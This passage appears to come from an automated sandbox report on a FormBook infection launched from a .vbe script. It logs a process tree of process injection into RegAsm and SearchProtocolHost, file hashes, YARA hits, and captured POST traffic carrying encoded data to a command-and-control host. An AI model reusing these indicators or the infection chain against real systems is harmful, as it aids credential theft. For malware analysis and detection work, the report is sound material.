49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 42 6e 42 4a 7a 54 4e 4b 6a 49 37 38 61 76 47 53 73 63 37 57 56 37 5a 39 38 64 4e 67 7a 4f 6b 55 2b 51 70 2f 61 6b 77 30 69 61 66 6d 43 48 65 74 34 55 63 45 49 4e 34 6c 49 67 6b 59 75 68 41 2f 4b 75 2b 70 44 76 68 30 64 42 47 58 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_BnBJzTNKjI78avGSsc7WV7Z98dNgzOkU+Qp/akw0iafmCHet4UcEIN4lIgkYuhA/Ku+pDvh0dBGX
Nov 20, 2024 16:57:25.491014957 CET	1236	IN	Data Raw: 76 78 73 4b 68 63 75 6f 6b 67 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 Data Ascii: vxsKhcuokg=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://www.614genetics.online/px.js?ch=1"></script><script type="text/javascript" src="http://www.614genetics.online/px.js?ch=2"></scri
Nov 20, 2024 16:57:25.491031885 CET	1149	IN	Data Raw: 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 Data Ascii: <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	50025	185.27.134.144	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:31.444202900 CET	771	OUT	POST /dcdf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.amayavp.xyz Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.amayavp.xyz Referer: http://www.amayavp.xyz/dcdf/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 57 47 5a 58 5a 6c 6c 74 44 6a 45 4c 46 37 6f 36 38 38 67 4d 6d 30 6b 4a 79 32 49 74 6e 2b 6e 58 67 56 37 4c 70 73 31 7a 4e 34 4e 64 73 73 30 4e 52 44 6e 52 70 67 4e 74 51 38 63 48 41 67 6e 4e 41 68 4e 32 67 6d 78 42 46 56 50 71 68 33 61 2f 6a 79 4d 48 66 5a 65 67 62 64 4c 56 4b 4b 6f 4f 4f 42 5a 71 68 6f 63 5a 63 39 59 6b 4c 61 62 76 62 49 6f 57 37 4f 41 65 63 41 73 76 6d 5a 65 2b 64 50 50 37 2b 41 59 78 70 6d 39 6d 32 67 34 39 32 4e 70 36 36 4d 7a 78 74 34 4d 46 74 58 42 7a 62 67 56 71 47 42 4c 6c 2f 5a 55 59 5a 65 67 48 74 41 78 4e 4c 65 55 4b 43 72 31 67 74 67 30 4e 42 77 3d 3d Data Ascii: KV=WGZXZlltDjELF7o688gMm0kJy2Itn+nXgV7Lps1zN4Ndss0NRDnRpgNtQ8cHAgnNAhN2gmxBFVPqh3a/jyMHfZegbdLVKKoOOBZqhocZc9YkLabvbIoW7OAecAsvmZe+dPP7+AYxpm9m2g492Np66Mzxt4MFtXBzbgVqGBLl/ZUYZegHtAxNLeUKCr1gtg0NBw==
Nov 20, 2024 16:57:32.683039904 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Nov 2024 15:57:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 f0 19 00 20 ff cf 99 d3 ca 23 4d 9e 68 07 45 0f d3 fa 94 db 52 29 9f eb 35 03 e7 44 9d e8 54 23 1b 7c b3 e4 c4 01 4f b8 3c ea 66 07 3b e8 6d ae d9 b3 3f 41 ea c1 31 b7 46 20 5d 12 98 a6 d3 43 ad 46 00 3f a9 68 cf 30 19 29 58 84 fd 05 46 4d 2b ba 31 53 be 99 4b 59 4e 30 72 16 9e 05 38 05 f2 f3 bb b6 7e c8 44 5e 18 92 a8 43 8d 20 55 06 dc 81 c3 92 b6 34 e1 84 fc 43 dc 87 ff 29 12 4f b0 f5 c8 01 ae 15 2b 3f bf a9 95 89 94 bb 46 d3 ba 7e 7e 2e 85 a2 bf f4 f7 f4 2f 26 73 29 af e7 73 b5 bb d4 e1 2b c1 3c 05 89 31 75 32 ae 5d cb be 6f 7b ed 7c 9f 80 2f bd 84 37 f6 d3 7d 5f e2 18 57 18 13 ff e2 42 02 0d bc 84 2f bb ec 0d 89 fc af b7 a7 24 40 ff 81 1d 67 4c 2b 61 63 a1 92 24 b5 b9 e0 a5 e1 19 2b 84 d5 4c c4 3a c7 84 6a 9b d7 a2 cc f2 dc a4 00 50 72 93 09 91 97 22 66 22 65 25 d3 b9 70 65 3c 40 e6 b1 d6 b1 4a 21 61 50 08 96 26 b9 d3 9c c7 8e 43 9e 97 71 ce 2d 14 23 ae ed c4 6c 1b 3d 01 4c 49 fc fb bb 84 c5 52 62 1f 69 88 60 e7 af ef 3f 42 0b 66 be 9b 2e 3d 43 53 aa a8 26 c4 c7 35 8a cc 0f 65 [TRUNCATED] Data Ascii: 1b9 #MhER)5DT#\|O<f;m?A1F ]CF?h0)XFM+1SKYN0r8~D^C U4C)O+?F~~./&s)s+<1u2]o{\|/7}_WB/$@gL+ac$+L:jPr"f"e%pe<@J!aP&Cq-#l=LIRbi`?Bf.=CS&5e(K;0AV4Cp>WHznwL0.pC-D)<EfJZJoQZdV^!rP*gV:"0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.11	50026	185.27.134.144	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:35.476897001 CET	791	OUT	POST /dcdf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.amayavp.xyz Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.amayavp.xyz Referer: http://www.amayavp.xyz/dcdf/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 57 47 5a 58 5a 6c 6c 74 44 6a 45 4c 58 49 67 36 2f 66 59 4d 33 6b 6b 4b 34 57 49 74 70 65 6e 62 67 56 33 4c 70 75 46 6a 4e 4d 68 64 69 73 45 4e 41 79 6e 52 38 67 4e 74 49 73 63 43 66 77 6e 47 41 68 4a 55 67 6b 31 42 46 57 7a 71 68 32 71 2f 6a 42 55 49 5a 4a 65 75 43 4e 4c 62 45 71 6f 4f 4f 42 5a 71 68 6f 49 2f 63 35 4d 6b 4c 72 72 76 61 70 6f 5a 34 4f 41 64 57 67 73 76 33 4a 65 36 64 50 50 4e 2b 43 73 62 70 6c 56 6d 32 67 49 39 32 5a 31 35 30 38 7a 7a 79 6f 4e 42 6f 79 59 4e 55 54 4d 52 43 41 7a 61 72 39 42 37 63 59 74 64 39 6a 34 61 49 4e 63 49 57 4e 55 51 6b 52 52 45 61 37 35 4c 53 68 74 31 71 70 79 43 75 58 43 76 46 61 43 35 70 52 51 3d Data Ascii: KV=WGZXZlltDjELXIg6/fYM3kkK4WItpenbgV3LpuFjNMhdisENAynR8gNtIscCfwnGAhJUgk1BFWzqh2q/jBUIZJeuCNLbEqoOOBZqhoI/c5MkLrrvapoZ4OAdWgsv3Je6dPPN+CsbplVm2gI92Z1508zzyoNBoyYNUTMRCAzar9B7cYtd9j4aINcIWNUQkRREa75LSht1qpyCuXCvFaC5pRQ=
Nov 20, 2024 16:57:36.804306030 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Nov 2024 15:57:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 f0 19 00 20 ff cf 99 d3 ca 23 4d 9e 68 07 45 0f d3 fa 94 db 52 29 9f eb 35 03 e7 44 9d e8 54 23 1b 7c b3 e4 c4 01 4f b8 3c ea 66 07 3b e8 6d ae d9 b3 3f 41 ea c1 31 b7 46 20 5d 12 98 a6 d3 43 ad 46 00 3f a9 68 cf 30 19 29 58 84 fd 05 46 4d 2b ba 31 53 be 99 4b 59 4e 30 72 16 9e 05 38 05 f2 f3 bb b6 7e c8 44 5e 18 92 a8 43 8d 20 55 06 dc 81 c3 92 b6 34 e1 84 fc 43 dc 87 ff 29 12 4f b0 f5 c8 01 ae 15 2b 3f bf a9 95 89 94 bb 46 d3 ba 7e 7e 2e 85 a2 bf f4 f7 f4 2f 26 73 29 af e7 73 b5 bb d4 e1 2b c1 3c 05 89 31 75 32 ae 5d cb be 6f 7b ed 7c 9f 80 2f bd 84 37 f6 d3 7d 5f e2 18 57 18 13 ff e2 42 02 0d bc 84 2f bb ec 0d 89 fc af b7 a7 24 40 ff 81 1d 67 4c 2b 61 63 a1 92 24 b5 b9 e0 a5 e1 19 2b 84 d5 4c c4 3a c7 84 6a 9b d7 a2 cc f2 dc a4 00 50 72 93 09 91 97 22 66 22 65 25 d3 b9 70 65 3c 40 e6 b1 d6 b1 4a 21 61 50 08 96 26 b9 d3 9c c7 8e 43 9e 97 71 ce 2d 14 23 ae ed c4 6c 1b 3d 01 4c 49 fc fb bb 84 c5 52 62 1f 69 88 60 e7 af ef 3f 42 0b 66 be 9b 2e 3d 43 53 aa a8 26 c4 c7 35 8a cc 0f 65 [TRUNCATED] Data Ascii: 1b9 #MhER)5DT#\|O<f;m?A1F ]CF?h0)XFM+1SKYN0r8~D^C U4C)O+?F~~./&s)s+<1u2]o{\|/7}_WB/$@gL+ac$+L:jPr"f"e%pe<@J!aP&Cq-#l=LIRbi`?Bf.=CS&5e(K;0AV4Cp>WHznwL0.pC-D)<EfJZJoQZdV^!rP*gV:"0

Target ID:	0
Start time:	10:53:24
Start date:	20/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DOC_114542366.vbe"
Imagebase:	0x7ff7eadf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	10:53:36
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe"
Imagebase:	0xd30000
File size:	793'088 bytes
MD5 hash:	36972AB0B73F25F92B42448D6FAAEA58
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	10:53:36
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1574816777.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1575092395.0000000001680000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1575820816.0000000006400000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	10:53:45
Start date:	20/11/2024
Path:	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe"
Imagebase:	0xde0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3776047810.0000000005420000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	10:53:46
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\SearchProtocolHost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\SearchProtocolHost.exe"
Imagebase:	0x540000
File size:	340'992 bytes
MD5 hash:	727FE964E574EEAF8917308FFF0880DE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3775770307.0000000003310000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3766152449.0000000002E30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3775867961.0000000003360000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	10:53:59
Start date:	20/11/2024
Path:	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe"
Imagebase:	0xde0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3778720033.0000000004E70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	10:54:12
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6de060000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true